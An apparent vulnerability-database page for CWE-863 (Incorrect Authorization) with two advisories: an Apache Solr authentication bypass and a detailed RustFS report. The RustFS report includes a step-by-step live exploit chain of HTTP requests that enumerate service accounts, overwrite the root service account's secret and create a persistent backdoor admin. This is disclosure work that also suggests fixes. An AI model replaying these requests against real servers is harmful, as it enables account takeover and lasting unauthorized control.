Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5537 vulnerabilities reference this CWE, most recent first.

GHSA-MJVF-4H88-6XM3

Vulnerability from github – Published: 2024-10-16 09:30 – Updated: 2025-07-02 00:01
VLAI
Summary
Improper Authentication vulnerability in Apache Solr
Details

Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass. A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path. This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.

This issue affects Apache Solr: from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.

Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.solr:solr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "8.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.solr:solr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-16T17:46:16Z",
    "nvd_published_at": "2024-10-16T08:15:05Z",
    "severity": "CRITICAL"
  },
  "details": "Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass. A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path. This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.\n\n\nThis issue affects Apache Solr: from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.\n\nUsers are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.",
  "id": "GHSA-mjvf-4h88-6xm3",
  "modified": "2025-07-02T00:01:27Z",
  "published": "2024-10-16T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45216"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/SOLR-17417"
    },
    {
      "type": "WEB",
      "url": "https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending"
    },
    {
      "type": "PACKAGE",
      "url": "http://svn.apache.org/viewvc/lucene/dev/branches/branch_4x/solr/webapp"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/10/15/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper Authentication vulnerability in Apache Solr"
}

GHSA-MM2Q-QCMX-GW4W

Vulnerability from github – Published: 2026-05-05 20:14 – Updated: 2026-05-05 20:14
VLAI
Summary
RustFS: ListServiceAccount authorizes against wrong admin action, enabling cross-user enumeration and root service account takeover
Details

Summary

ListServiceAccount (GET /rustfs/admin/v3/list-service-accounts?user=<other>) authorizes cross-user requests against UpdateServiceAccountAdminAction instead of ListServiceAccountsAdminAction at rustfs/src/admin/handlers/service_account.rs:936. The handler accepts the wrong admin action and rejects the correct one:

  • A user granted only admin:UpdateServiceAccount enumerates every service account in the cluster, including the root user's (HTTP 200, full metadata).
  • A user granted only admin:ListServiceAccounts — the permission name every IAM document treats as "list service accounts" — receives HTTP 403 AccessDenied on the same request.

Because service account access keys act as the identifier a UpdateServiceAccount holder needs to rotate a secret, and the UpdateServiceAccount handler at rustfs/src/admin/handlers/service_account.rs:489 performs no ownership check on the target access key, leaking those access keys lets a delegated "service account updater" role overwrite root-sa-1's secret, authenticate as the root user's service account, and create a persistent backdoor admin with admin:* + s3:*. Proven live end-to-end against rustfs/rustfs:latest (1.0.0-alpha.91, revision d4ea14c2) — the same revision is byte-identical on current origin/main.

Vulnerability Details

  • Package: rustfs (binary crate rustfs)
  • Affected versions: From 0a2411f (the initial service_account.rs check-in on 2026-03-15) through current HEAD 90e584a. The vulnerable line has never been touched.
  • Fixed versions: None
  • Vulnerable file: rustfs/src/admin/handlers/service_account.rs
  • Vulnerable route: GET /rustfs/admin/v3/list-service-accounts?user=<other_user> (ListServiceAccount::call)
  • CWE: CWE-863 (Incorrect Authorization), chained with CWE-620 (Unverified Password Change) to reach CWE-269 (Improper Privilege Management)
  • CVSS (demonstrated chain to full admin): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical. If scored as Scope:Unchanged the vector is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High. The list bug alone (no chain) is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 Medium and is what a maintainer would rate it if the Update ownership gap is out of scope for this report.

Two Distinct Vulnerabilities

This report documents two bugs that chain to full RustFS administrative takeover. Each is independently fixable and independently a security issue:

Vulnerability A — Wrong action constant in ListServiceAccount (CWE-863) ListServiceAccount::call at line 936 checks UpdateServiceAccountAdminAction instead of ListServiceAccountsAdminAction. This is a copy-paste typo: the three sibling list handlers (lines 658, 799, 1095) all use the correct constant. The result is a permission inversion — the correct permission (admin:ListServiceAccounts) is rejected, and the wrong one (admin:UpdateServiceAccount) is accepted. Independently, this is a Medium-severity cross-user information disclosure.

Vulnerability B — Missing ownership check in UpdateServiceAccount (CWE-620) UpdateServiceAccount::call at lines 489-614 authorizes on possession of admin:UpdateServiceAccount but never verifies the target ?accessKey= belongs to the caller or the caller's parent. Lines 522-525 contain a commented-out get_service_account call that would have loaded the target for such a check. This means any holder of admin:UpdateServiceAccount can overwrite any service account's secret in the cluster, regardless of ownership.

Chain (A + B) — Full RustFS administrative takeover Vulnerability A leaks every service account's access key (including the root administrator's). Vulnerability B allows overwriting any SA's secret given its access key. Together: a user with a single permission (admin:UpdateServiceAccount) enumerates the root user's SA access key via the wrong-action list bug, overwrites its secret via the ownership-free update handler, authenticates as the root user's service account, and creates a persistent backdoor admin with full RustFS administrative control.

Authorization mismatch at a glance:

Exact policies attached to each test identity (retrieved from running server via GET /admin/v3/info-canned-policy):

    legit-list-pol      -> {"Action": ["admin:ListServiceAccounts"],  "Resource": ["arn:aws:s3:::*"]}
    list-sa-probe-pol   -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::*"]}
    list-sa-restricted  -> {"Action": ["admin:UpdateServiceAccount"], "Resource": ["arn:aws:s3:::probe-scope/*"]}
    (zero-priv-user has no attached policy)
Identity Attached policy GET /list-service-accounts?user=rustfsadmin Expected
probe-user list-sa-probe-pol (admin:UpdateServiceAccount) 200 (full SA metadata) 403
legit-list-user legit-list-pol (admin:ListServiceAccounts) 403 AccessDenied 200
restricted-update-user list-sa-restricted (admin:UpdateServiceAccount on probe-scope/*) 200 403
zero-priv-user (none) 403 403
(unauthenticated) n/a 403 Signature required 403

Why the correct permission gets 403

The handler at line 936 calls is_allowed with the action AdminAction::UpdateServiceAccountAdminAction. The IAM engine performs an exact string match between the action in the is_allowed call (admin:UpdateServiceAccount) and the action in the caller's attached policy:

  • legit-list-user has policy action admin:ListServiceAccounts. This does not match admin:UpdateServiceAccount. is_allowed returns false. The handler returns 403. The user who holds the correct permission for listing service accounts is denied.
  • probe-user has policy action admin:UpdateServiceAccount. This matches admin:UpdateServiceAccount. is_allowed returns true. The handler returns 200. The user who holds a different, unrelated permission is granted access to a list endpoint.
  • restricted-update-user has the same action string but resource-scoped to arn:aws:s3:::probe-scope/*. Admin-action statements skip resource matching (crates/policy/src/policy/statement.rs:132: && !self.is_admin() && !self.is_sts()), so the resource restriction is ignored and is_allowed still returns true.

There is no wildcard, superset, or inheritance relationship between these two action strings. They are separate enum variants (crates/policy/src/policy/action.rs:459-462) with distinct strum(serialize) values. The IAM engine is working correctly; the handler passes the wrong action to it.

Raw request/response for legit-list-user (the counterintuitive 403):

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  HTTP/1.1
    Authorization: AWS4-HMAC-SHA256 Credential=legit-list-user/...

    HTTP/1.1 403
    <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>

Why this is not "working as intended": - admin:UpdateServiceAccount and admin:ListServiceAccounts are distinct enum variants with distinct string representations. The codebase treats them as orthogonal permissions. - Three sibling list handlers in the same file (lines 658, 799, 1095) all check ListServiceAccountsAdminAction. Only line 936 deviates. - CVE-2026-22042 / GHSA-vcwh-pff9-64cc is the maintainers' own precedent: ImportIam checking ExportIAMAction was rated Medium and fixed. The same class of bug applies here. - A zero-privilege user (no admin policies at all) cannot exploit either vulnerability — both handlers correctly enforce their respective is_allowed checks. The bug is that the list handler enforces the wrong action constant, not that it skips enforcement entirely.

Root Cause — Vulnerability A (Wrong Action Constant)

ListServiceAccount::call is registered for GET /rustfs/admin/v3/list-service-accounts at rustfs/src/admin/handlers/service_account.rs:137-141. The cross-user branch (entered when ?user=<x> does not match the caller) checks the wrong admin action:

// rustfs/src/admin/handlers/service_account.rs:931-953  (HEAD 90e584a, identical at d4ea14c2)
let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
    if !iam_store
        .is_allowed(&Args {
            account: &cred.access_key,
            groups: &cred.groups,
            action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction), // WRONG
            bucket: "",
            conditions: &get_condition_values(...),
            is_owner: owner,
            object: "",
            claims: cred.claims.as_ref().unwrap_or(&HashMap::new()),
            deny_only: false,
        })
        .await
    {
        return Err(s3_error!(AccessDenied, "access denied"));
    }
    query.user.unwrap_or_default()
} else if cred.parent_user.is_empty() {
    cred.access_key
} else {
    cred.parent_user
};

The action enum definitions are cleanly distinct at crates/policy/src/policy/action.rs:459-464:

#[strum(serialize = "admin:CreateServiceAccount")] CreateServiceAccountAdminAction,
#[strum(serialize = "admin:UpdateServiceAccount")] UpdateServiceAccountAdminAction,
#[strum(serialize = "admin:RemoveServiceAccount")] RemoveServiceAccountAdminAction,
#[strum(serialize = "admin:ListServiceAccounts")]  ListServiceAccountsAdminAction,

Every other list handler in the same file authorizes on the correct constant:

rustfs/src/admin/handlers/service_account.rs:658   InfoServiceAccount::call   -> ListServiceAccountsAdminAction
rustfs/src/admin/handlers/service_account.rs:799   InfoAccessKey::call        -> ListServiceAccountsAdminAction
rustfs/src/admin/handlers/service_account.rs:1095  ListAccessKeysBulk::call   -> ListServiceAccountsAdminAction

Only ListServiceAccount::call at line 936 deviates. This is a typo/wiring error, not a design choice.

git blame shows the line has been wrong since commit 0a2411f (heihutu, 2026-03-15), the initial check-in of service_account.rs.

Root Cause — Vulnerability B (Missing Ownership Check in Update)

Service account access keys are the identifier the UpdateServiceAccount handler accepts via the ?accessKey= query string. Inspecting UpdateServiceAccount::call at rustfs/src/admin/handlers/service_account.rs:489-614:

let access_key = query.access_key;                                // line 509
...
if !iam_store.is_allowed(&Args {
    account: &cred.access_key,
    action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
    ...
}).await { return Err(s3_error!(AccessDenied, "access denied")); } // line 538-559
...
let updated_at = iam_store.update_service_account(&access_key, opts).await  // line 579
    .map_err(...)?;

The handler authorizes on possession of admin:UpdateServiceAccount and never checks that the ?accessKey= query parameter resolves to a service account owned by the caller. Notably, lines 522-525 contain a commented-out get_service_account call that would have loaded the target SA for an ownership check — it was present in the initial commit and has been commented out since:

// let svc_account = iam_store.get_service_account(&access_key).await.map_err(|e| {
//     debug!("get service account failed, e: {:?}", e);
//     s3_error!(InternalError, "get service account failed")
// })?;

The inner IamSys::update_service_account at crates/iam/src/sys.rs:495-501 delegates to IamCache::update_service_account at crates/iam/src/manager.rs:663 which loads the credentials by access-key name, verifies it is a service account, and overwrites secret_key — again, no ownership check:

// crates/iam/src/manager.rs:663
pub async fn update_service_account(&self, name: &str, opts: UpdateServiceAccountOpts) -> Result<OffsetDateTime> {
    let Some(ui) = self.cache.users.load().get(name).cloned() else {
        return Err(Error::NoSuchServiceAccount(name.to_string()));
    };
    ...
    let mut cr = ui.credentials.clone();
    let current_secret_key = cr.secret_key.clone();

    if let Some(secret) = opts.secret_key {
        if !is_secret_key_valid(&secret) {
            return Err(Error::InvalidSecretKeyLength);
        }
        cr.secret_key = secret;                // <-- attacker-chosen
    }
    ...

So a holder of admin:UpdateServiceAccount who knows any service account's access key can overwrite its secret. The list bug at line 936 hands them every access key in the cluster, including root-sa-1.

The two bugs together form a clean chain:

  1. Attacker has a single admin permission: admin:UpdateServiceAccount.
  2. Attacker calls GET /v3/list-service-accounts?user=rustfsadmin — vulnerable handler grants access.
  3. Attacker reads accessKey=root-sa-1 out of the response.
  4. Attacker calls POST /v3/update-service-account?accessKey=root-sa-1 with body {"newSecretKey":"..."} — ownership-less handler overwrites.
  5. Attacker authenticates as root-sa-1 with the chosen secret and inherits the root user's full admin:* + s3:* authority.

Environment and Version Alignment

  • Image: rustfs/rustfs:latest, digest sha256:74f8eaad96124c7e019bedfb892b41a9429c495f57b883182427c5e9e9d53c6a
  • Labels: org.opencontainers.image.version=1.0.0-alpha.91, org.opencontainers.image.revision=d4ea14c2ba99602314511d5862005f7b871ece37, org.opencontainers.image.build-type=prerelease
  • Source verification:
    $ git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p'
            let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
                if !iam_store
                    .is_allowed(&Args {
                        account: &cred.access_key,
                        groups: &cred.groups,
                        action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
                        bucket: "",
                        ...
    
    $ git show origin/main:rustfs/src/admin/handlers/service_account.rs | sed -n '931,940p'
            let target_account = if query.user.as_ref().is_some_and(|v| v != &cred.access_key) {
                if !iam_store
                    .is_allowed(&Args {
                        account: &cred.access_key,
                        groups: &cred.groups,
                        action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
                        bucket: "",
                        ...
    

Byte-identical. The shipped image contains the same vulnerable handler as the tip of main.

Proof of Concept (executed live)

Environment

    docker run -d --name rustfs-poc --memory=2g -p 9100:9000 \
        -e RUSTFS_ACCESS_KEY=rustfsadmin -e RUSTFS_SECRET_KEY=rustfsadmin \
        rustfs/rustfs:latest

Root credentials: rustfsadmin:rustfsadmin.

Step 1 — Provision the probe identity

The probe policy grants exactly one admin action, scoped to the broadest resource. Nothing else.

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": ["admin:UpdateServiceAccount"],
          "Resource": ["arn:aws:s3:::*"]
        }
      ]
    }

Creation as root:

    PUT /rustfs/admin/v3/add-canned-policy?name=list-sa-probe-pol        -> 200
    PUT /rustfs/admin/v3/add-user?accessKey=probe-user                   -> 200  (secret: probe-secret1234)
    PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=probe-user&isGroup=false&policyName=list-sa-probe-pol -> 200
    PUT /rustfs/admin/v3/add-user?accessKey=victim-user                  -> 200  (no policy)
    PUT /rustfs/admin/v3/add-service-accounts                            -> 200  (creates victim-sa-1 under victim-user)
    PUT /rustfs/admin/v3/add-service-accounts                            -> 200  (creates root-sa-1 under rustfsadmin)

Step 2 — Baseline: probe-user is actually constrained

Confirming probe-user is denied on unrelated admin endpoints so the "200 on list-service-accounts" is not the side effect of some ambient privilege:

    GET /rustfs/admin/v3/list-users                 as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/info                       as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/list-canned-policies       as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/kms/status                 as probe-user -> 403 AccessDenied
    PUT /rustfs/admin/v3/add-canned-policy?name=... as probe-user -> 403 AccessDenied
    GET /rustfs/admin/v3/list-service-accounts      as probe-user -> 200 {"accounts":[]}  # self-scope OK

The self-scope list (no user= query) returns an empty array — the caller's own service account inventory, which is correctly allowed. This isolates the bug to the cross-user branch only.

Step 3 — Primary exploit: enumerate other users' service accounts

    GET /rustfs/admin/v3/list-service-accounts?user=victim-user  as probe-user -> 200
    {"accounts":[{"parentUser":"victim-user","accountStatus":"on","impliedPolicy":true,"accessKey":"victim-sa-1","name":"sa-victim-user-victim-sa-1","description":"probe target SA for user victim-user","expiration":null}]}

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as probe-user -> 200
    {"accounts":[{"parentUser":"rustfsadmin","accountStatus":"on","impliedPolicy":true,"accessKey":"root-sa-1","name":"sa-rustfsadmin-root-sa-1","description":"probe target SA for user rustfsadmin","expiration":null}]}

Exposed per entry: parentUser, accountStatus, impliedPolicy, accessKey, name, description, expiration. The response does not leak secret keys or session tokens (those are cleared server-side), but it does leak the accessKey — the identifier that the UpdateServiceAccount endpoint consumes via ?accessKey=.

Step 4 — Differential: the correct permission gets denied

Created legit-list-user with a policy granting only admin:ListServiceAccounts:

    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": ["admin:ListServiceAccounts"],
          "Resource": ["arn:aws:s3:::*"]
        }
      ]
    }

Running the same request:

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as legit-list-user -> 403
    <?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><Message>access denied</Message></Error>

This is the damning evidence of inversion. The handler refuses the correct permission (admin:ListServiceAccounts) and accepts the wrong one (admin:UpdateServiceAccount). There is no superset/subset relationship in the action enum; these are two distinct constants. A deployment that grants its operators admin:ListServiceAccounts to view the service account inventory — the intuitive and documented approach — will see every cross-user list request return 403 until this bug is fixed.

The resource-scoped variant gave the same result as the broad variant:

    # Policy: admin:UpdateServiceAccount on arn:aws:s3:::probe-scope/* (unrelated to any SA)
    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as restricted-update-user -> 200 (same body as probe-user)

Resource restrictions on admin actions are skipped in crates/policy/src/policy/statement.rs:132 (&& !self.is_admin() && !self.is_sts()), so the bug is equally reachable by an operator whose admin:UpdateServiceAccount grant was scoped to a specific bucket.

And unauthenticated requests are still rejected:

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  (no signature) -> 403 "Signature is required"

This is an authenticated privilege-boundary violation, not a pre-auth bug.

Step 4b — Zero-privilege user is correctly blocked

To confirm the bug is in the action constant (not a missing check), created zero-priv-user with no policies at all:

    GET /rustfs/admin/v3/list-service-accounts?user=rustfsadmin  as zero-priv-user -> 403 AccessDenied
    POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as zero-priv-user -> 403 AccessDenied
    GET /rustfs/admin/v3/list-service-accounts  as zero-priv-user -> 200 {"accounts":[]}  # self-scope only

The is_allowed check at line 936 fires and correctly blocks zero-priv-user because they have no admin permissions. The bug is not that the check is skipped — it is that the check uses the wrong action constant, so it grants access to users holding admin:UpdateServiceAccount (the wrong permission) and denies users holding admin:ListServiceAccounts (the correct permission).

Step 5 — Full chain to RustFS admin takeover (persistent backdoor)

With accessKey=root-sa-1 known, probe-user (still only admin:UpdateServiceAccount) hijacks the root service account's secret:

    POST /rustfs/admin/v3/update-service-account?accessKey=root-sa-1  as probe-user
         body: {"newSecretKey":"pwned-secret-2"}                           -> 204 NoContent

Then re-signs and calls admin APIs as root-sa-1/pwned-secret-2:

    GET /rustfs/admin/v3/list-users  as root-sa-1/pwned-secret-2 -> 200
    {"svinfo-user":{"policyName":"serverinfo-only","status":"enabled",...},
     "probe-user":{"policyName":"list-sa-probe-pol","status":"enabled",...},
     "readonly-user":{"policyName":"readonly","status":"enabled",...},
     "victim-user":{"status":"enabled",...}}

    GET /rustfs/admin/v3/info  as root-sa-1/pwned-secret-2       -> 200
    {"mode":"online","backend":{"backendType":"Erasure","online":...},"buckets":{"count":...},"services":{...}}

Both endpoints previously returned 403 for probe-user. They now succeed because root-sa-1 inherits rustfsadmin's full authority.

Extending the chain to a persistent backdoor, still driven by probe-user's hijacked root-sa-1 session:

    PUT /rustfs/admin/v3/add-user?accessKey=backdoor-admin                 -> 200  (body: {"secretKey":"backdoor-secret-9","status":"enabled"})
    PUT /rustfs/admin/v3/add-canned-policy?name=proof-admin-all            -> 200  (body: admin:* + s3:*)
    PUT /rustfs/admin/v3/set-user-or-group-policy?userOrGroup=backdoor-admin&isGroup=false&policyName=proof-admin-all -> 200

Direct authentication as the new admin (no further reliance on the hijacked SA):

    GET /rustfs/admin/v3/list-users  as backdoor-admin/backdoor-secret-9   -> 200 (same full user dump)
    PUT /proof-admin-bucket          as backdoor-admin/backdoor-secret-9   -> 200 (new bucket created on the S3 plane)

The attacker now owns a persistent admin identity with admin:* and s3:* that will survive secret rotations on root-sa-1. Starting identity was a user granted exactly one admin action.

Full PoC scripts

Runnable top-to-bottom against a fresh rustfs/rustfs:latest container. Each script prints raw HTTP status codes and response bodies.

  • poc/01_setup_probe_user.py — create policies, users, service accounts.
  • poc/02_baseline_probe.py — 403/200 differential on unrelated admin endpoints.
  • poc/03_exploit.py — primary ListServiceAccount enumeration.
  • poc/04_escalate_takeover.py — hijack root-sa-1 and prove admin calls.
  • poc/05_full_root_compromise.py — end-to-end chain including backdoor-admin creation and new bucket.
  • poc/06_differential_and_resource.py — legit-list-user 403 and resource-scoped 200.

Impact

  1. Full RustFS administrative takeover (Confidentiality: High, Integrity: High, Availability: High). A user with a single admin permission (admin:UpdateServiceAccount) chains the list bug with the ownership-free UpdateServiceAccount handler to overwrite any service account's secret — including the root administrator's — and inherit full admin:* + s3:* authority over the RustFS deployment. Demonstrated live: probe-user → list → hijack root-sa-1 → create persistent backdoor-admin → create bucket.

  2. Authorization inversion on a core admin endpoint (Integrity). Users granted the intended admin:ListServiceAccounts permission receive 403 on cross-user list requests. A rustfs deployment that issues admin:ListServiceAccounts to its operators (the obvious and documented interpretation of the action name) is silently broken until this is fixed.

  3. Cross-user service-account inventory disclosure (Confidentiality: High). Even absent the update-ownership gap, the bug exposes every service account's access key, owning principal, name, description, account status, and expiration to any admin:UpdateServiceAccount holder. This maps the full service-account topology of the cluster and identifies which account to target for a secret rotation attack.

  4. Resource-scoped policies provide no mitigation (Integrity). statement.rs:132 skips resource matching for admin statements, so restricting admin:UpdateServiceAccount to a specific bucket ARN (the usual pattern for bounded delegation) gives a false sense of isolation and does not reduce the blast radius of this bug.

Suggested Fix

The minimal, correct fix is a one-line change at rustfs/src/admin/handlers/service_account.rs:936:

// rustfs/src/admin/handlers/service_account.rs:936
-                    action: Action::AdminAction(AdminAction::UpdateServiceAccountAdminAction),
+                    action: Action::AdminAction(AdminAction::ListServiceAccountsAdminAction),

This brings ListServiceAccount in line with the three sibling handlers (lines 658, 799, 1095) that correctly enforce ListServiceAccountsAdminAction, and restores the documented meaning of the admin:ListServiceAccounts permission for operators who rely on it.

Recommended follow-up (separate but related)

Even after this fix, UpdateServiceAccount::call at rustfs/src/admin/handlers/service_account.rs:489-614 will still lack any check that the target ?accessKey= belongs to the caller (or the caller's parent), so any holder of admin:UpdateServiceAccount who can otherwise obtain the access key of a higher-privileged service account can still hijack it. Consider adding an ownership precondition inside the handler before calling iam_store.update_service_account:

let target = iam_store.get_service_account(&access_key).await
    .map_err(|e| map_service_account_lookup_error(e, "get service account failed"))?;
let caller_parent = if cred.parent_user.is_empty() { cred.access_key.as_str() } else { cred.parent_user.as_str() };
if target.0.parent_user != caller_parent && !is_owner {
    // Only root or the parent user should be able to mutate this SA.
    // (Or additionally require a dedicated admin action granted to full admins.)
    return Err(s3_error!(AccessDenied, "access denied"));
}

This additional check closes the secret-rotation primitive for non-root holders of admin:UpdateServiceAccount. It is outside the strict scope of the line-936 typo, but the live PoC shows it is the mechanism by which information disclosure escalates to full administrative takeover, so fixing both in one advisory avoids leaving a usable primitive in place.

Self-Review

  • Is this by-design? No. The three sibling list handlers at lines 658, 799, and 1095 all enforce ListServiceAccountsAdminAction. The action enum has distinct admin:UpdateServiceAccount and admin:ListServiceAccounts strings with no wildcard relationship. There is no comment, test, or docstring suggesting the deviation at line 936 is intentional. CVE-2026-22042 / GHSA-vcwh-pff9-64cc (ImportIam using ExportIAMAction) is the maintainers' own precedent that this class of bug is treated as a real security issue.
  • Reachability? Proven live on rustfs/rustfs:latest revision d4ea14c2. Response bodies captured in the report above and in poc/ logs.
  • Is there upstream routing that enforces admin? No. S3Router::register dispatches directly from service_account.rs:137-141 into ListServiceAccount::call; the only authorization is the is_allowed call at line 931-953. Confirmed by the 200 return for probe-user and the 403 return for legit-list-user on the same path.
  • Prior art? No existing rustfs advisory covers this handler. CVE-2026-22042 is the same class of bug in a different handler; CVE-2026-22043 is a deny_only short-circuit bug in the same file but a completely different code path. Both are explicitly distinct from the line 936 typo.
  • Is the docker image the same code as main? Yes. Image label org.opencontainers.image.revision=d4ea14c2; git show d4ea14c2:rustfs/src/admin/handlers/service_account.rs at lines 931-960 is byte-identical to git show origin/main:rustfs/src/admin/handlers/service_account.rs. Re-verified on 2026-04-09 at HEAD 90e584a — file unchanged since initial commit 0a2411f.
  • The commented-out ownership check at lines 522-525 of UpdateServiceAccount::call demonstrates the developer was aware an ownership check belonged there but left it disabled. This is not a design decision — it is incomplete implementation that this report's chain exploits.
  • Honest limitations:
  • The primary exploit requires an authenticated principal with admin:UpdateServiceAccount. It is not pre-auth.
  • Secret keys of the enumerated service accounts are NOT returned by the list handler (they are explicitly cleared elsewhere). Only the access key is disclosed. The escalation to RustFS admin relies on the Update path to overwrite the secret, not on reading a leaked secret.
  • The full administrative takeover chain depends on the separate UpdateServiceAccount ownership gap. If a reviewer considers that gap out of scope for this report, the line-936 typo on its own is best-rated as Medium cross-user information disclosure (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5). The live PoC and differential stand independent of that scoping.
  • The differential (legit-list-user → 403, probe-user → 200) isolates the cause to the handler's action constant and is reproducible in seconds against a fresh container.

Resources

  • Vulnerable file in image: rustfs/src/admin/handlers/service_account.rs @ d4ea14c2ba99602314511d5862005f7b871ece37
  • Vulnerable file at HEAD: rustfs/src/admin/handlers/service_account.rs @ 90e584a (file unchanged since 0a2411f)
  • Incorrect action at line 936: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L931-L953
  • Correct action at line 658 (InfoServiceAccount): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L658
  • Correct action at line 799 (InfoAccessKey): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L799
  • Correct action at line 1095 (ListAccessKeysBulk): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L1095
  • AdminAction enum: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/action.rs#L457-L464
  • UpdateServiceAccount handler (ownership gap): https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/rustfs/src/admin/handlers/service_account.rs#L489-L614
  • IamCache::update_service_account: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/iam/src/manager.rs#L663
  • Admin statements skip resource matching: https://github.com/rustfs/rustfs/blob/d4ea14c2ba99602314511d5862005f7b871ece37/crates/policy/src/policy/statement.rs#L132
  • rustfs security policy: https://github.com/rustfs/rustfs/security/policy
  • Prior art (same class, different handler): CVE-2026-22042 / GHSA-vcwh-pff9-64cc

Koda Reef

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0-alpha.91"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "rustfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0-alpha.98"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:14:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`ListServiceAccount` (`GET /rustfs/admin/v3/list-service-accounts?user=\u003cother\u003e`) authorizes cross-user requests against `UpdateServiceAccountAdminAction` instead of `ListServiceAccountsAdminAction` at `rustfs/src/admin/handlers/service_account.rs:936`. The handler accepts the **wrong** admin action and rejects the **correct** one:\n\n- A user granted only `admin:UpdateServiceAccount` enumerates every service account in the cluster, including the root user\u0027s (HTTP 200, full metadata).\n- A user granted only `admin:ListServiceAccounts` \u2014 the permission name every IAM document treats as \"list service accounts\" \u2014 receives HTTP 403 AccessDenied on the same request.\n\nBecause service account access keys act as the identifier a `UpdateServiceAccount` holder needs to rotate a secret, and the `UpdateServiceAccount` handler at `rustfs/src/admin/handlers/service_account.rs:489` performs no ownership check on the target access key, leaking those access keys lets a delegated \"service account updater\" role overwrite `root-sa-1`\u0027s secret, authenticate as the root user\u0027s service account, and create a persistent backdoor admin with `admin:*` + `s3:*`. Proven live end-to-end against `rustfs/rustfs:latest` 